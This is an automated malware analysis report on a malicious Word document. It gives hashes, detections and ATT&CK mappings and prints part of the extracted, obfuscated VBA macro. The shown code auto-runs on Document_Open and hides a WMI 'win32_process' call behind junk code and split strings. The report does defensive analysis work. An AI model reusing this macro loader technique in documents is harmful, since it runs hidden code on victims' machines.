Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e5c9f3328857ed05…

MALICIOUS

Office (OLE)

250.2 KB Created: 2020-01-17 06:19:00 Authoring application: Microsoft Office Word First seen: 2021-06-13
MD5: 0df212cc28365062b5178707c8ee4d89 SHA-1: a4697b2e1d7e0eaa1e16cc9b6f57c1a9fd161bce SHA-256: e5c9f3328857ed052b73ea5ddd01a0e8c9a8f52e19424e3897af24a34cb65408
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is present and configured to execute upon opening the document, indicating an attempt to automatically run malicious code. The 'GetObject' call within the macro suggests it may be used to load external components or execute code. While the specific payload is not directly visible, the presence of these elements strongly suggests a macro-based malware delivery mechanism.

Heuristics 6

  • ClamAV: Doc.Malware.Generic-7544628-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7544628-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7869 bytes
SHA-256: 906121dd32ad0972b0d81d9465c4989f3dc0c9c9864aada76467558aa7e85d95
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Tfkxjivzgat"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Zcnahvvdqizr
End Sub

Attribute VB_Name = "Anojwypjblt"
Attribute VB_Base = "0{7314F49A-5E50-42E9-B5BB-8BDE3377E77F}{7990F52D-87AF-459A-8BBD-471C380C6E86}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Itmftyffrqd"
Function Wolzwsdtg()
   Select Case Cyszbdxt
      Case 5815
         Cemsbxbvvlkog = Log(3331)
         Jgehpvngbeyq = 4
         Iwclynvnsox = CSng(trrD0)
      Case Yrqnsxhsxt
         Boylncgagmp = ChrW(RSd)
         Ihwvnqkd = 472
         Pkrgttwkdqy = Cos(rfTD3Iu)
      Case 5
         Xcflqldlbikkp = 76
         Jdbjpyiavvnhj = Atn(3391)
         Qelizsietr = Sin(Nchwehzbz)
End Select
Fxkzavujc = ChrW(wdKeyP)
   Select Case Pzlusfcr
      Case 5815
         Yvicmuvm = Log(3331)
         Uiyqosdhvqknj = 4
         Isuwpvjzzlxv = CSng(trrD0)
      Case Dqzaljgbug
         Vwwsllhg = ChrW(RSd)
         Bpmekizf = 472
         Kuralmxrohxnw = Cos(rfTD3Iu)
      Case 5
         Mchzlnlj = 76
         Jogzycpqcra = Atn(3391)
         Gynqsvensyexg = Sin(Ekykpkbyq)
End Select
Hxsejcwaddrm = Fxkzavujc + Anojwypjblt.Vprsnuvwz + Anojwypjblt.Gijvbuefjvqzt
   Select Case Wdvsjjdvzewy
      Case 5815
         Hxfgqnztvrupe = Log(3331)
         Ugyprvpz = 4
         Oocaiwpenjuy = CSng(trrD0)
      Case Asdhdyteurf
         Jddrxyoczxtnv = ChrW(RSd)
         Qyivikpyri = 472
         Yjtkukygak = Cos(rfTD3Iu)
      Case 5
         Aklbvjtithovj = 76
         Ntelibpqsfn = Atn(3391)
         Wykfglvx = Sin(Dhoopquxbkv)
End Select
losd = Anojwypjblt.Xaniumydbohk.GroupName
Aqhfchgypt = Split(Hxsejcwaddrm + LTrim(LTrim(losd)), "//====dsfnnJJJsm388//=")
   Select Case Jrcoeukjfzjke
      Case 5815
         Nbjkjrtrqounp = Log(3331)
         Enjpmfgmfnsie = 4
         Xhhgjjwwb = CSng(trrD0)
      Case Amzjhurguva
         Tgoewrjoll = ChrW(RSd)
         Gihphrihwfu = 472
         Gxqyljxsuncus = Cos(rfTD3Iu)
      Case 5
         Ybobiwbljq = 76
         Shqnmbhq = Atn(3391)
         Qabtulvevpsy = Sin(Rseaflghygfk)
End Select
Wolzwsdtg = Tpifnguan + Join(Aqhfchgypt, "") + Tpifnguan
   Select Case Cyytricj
      Case 5815
         Isonihblsi = Log(3331)
         Rxkvludt = 4
         Jdysjayk = CSng(trrD0)
      Case Hlczmvzolzfs
         Gbjwxhgj = ChrW(RSd)
         Jlopxbmhs = 472
         Fvkjpuphlxrt = Cos(rfTD3Iu)
      Case 5
         Iqcnimymwq = 76
         Jqkmxzlib = Atn(3391)
         Mhmqcnirrseok = Sin(Klvsyuiilywy)
End Select
End Function
Function Zcnahvvdqizr()
d = "//====dsfnnJJJsm388//=i//====dsfnnJJJsm388//=//====dsfnnJJJsm388//=n//====dsfnnJJJsm388//=m//====dsfnnJJJsm388//=gmt//====dsfnnJJJsm388//=" + ChrW(wdKeyS) + "//====dsfnnJJJsm388//=:w//====dsfnnJJJsm388//=in//====dsfnnJJJsm388//=32//====dsfnnJJJsm388//=//====dsfnnJJJsm388//=_//====dsfnnJJJsm388//=" + Anojwypjblt.Yhaxcxzd + "//====dsfnnJJJsm388//=ro//====dsfnnJJJsm388//=ce//====dsfnnJJJsm388//=ss"
   Select Case Pwjggwwjtmw
      Case 5815
         Spejivmj = Log(3331)
         Wxiufooid = 4
         Lzeeaxggqt = CSng(trrD0)
      Case Isbdxgdy
         Rnjybrvfe = ChrW(RSd)
         Qhqzfiyf = 472
         Muwzbdkqbzah = Cos(rfTD3Iu)
      Case 5
         Rucvplkoi = 76
         Lkesyfsclfsn = Atn(3391)
         Nloctbjb = Sin(Kfcprixlx)
End Select
E = "//====dsfnnJJJsm388//="
   Select Case Wndqwpuq
      Case 5815
         Qrcdwzmiql = Log(3331)
         Smovgwhxfx = 4
         Tvnvvoyay = CSng(trrD0)
      Case Wjdyfbim
         Murcbixizh = ChrW(RSd)
         Xkamrnbnplnl = 472
         Cxcvwldthb = Cos(rfTD3Iu)
      Case 5
         Ugaszxhaltyt
... (truncated)

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